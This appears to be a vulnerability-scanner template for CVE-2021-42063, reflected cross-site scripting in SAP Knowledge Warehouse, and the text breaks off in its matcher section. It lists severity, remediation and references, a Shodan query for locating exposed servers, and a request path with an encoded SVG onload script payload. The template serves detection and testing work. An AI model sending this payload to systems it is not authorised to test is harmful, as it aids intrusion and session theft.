id: CVE-2021-42063 info: name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting author: pdteam severity: medium description: | SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. remediation: | Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability. reference: - https://seclists.org/fulldisclosure/2022/Mar/32 - https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html - https://twitter.com/MrTuxracer/status/1505934549217382409 - https://nvd.nist.gov/vuln/detail/CVE-2021-42063 - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42063 cwe-id: CWE-79 epss-score: 0.00418 epss-percentile: 0.71432 cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sap product: knowledge_warehouse shodan-query: http.favicon.hash:-266008933 zoomeye-query: +app:"SAP NetWeaver Application Server httpd tags: cve2021,cve,sap,xss,seclists,packetstorm http: - method: GET path: - "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp" matchers-condition: and matchers: - type: word part: body words: - "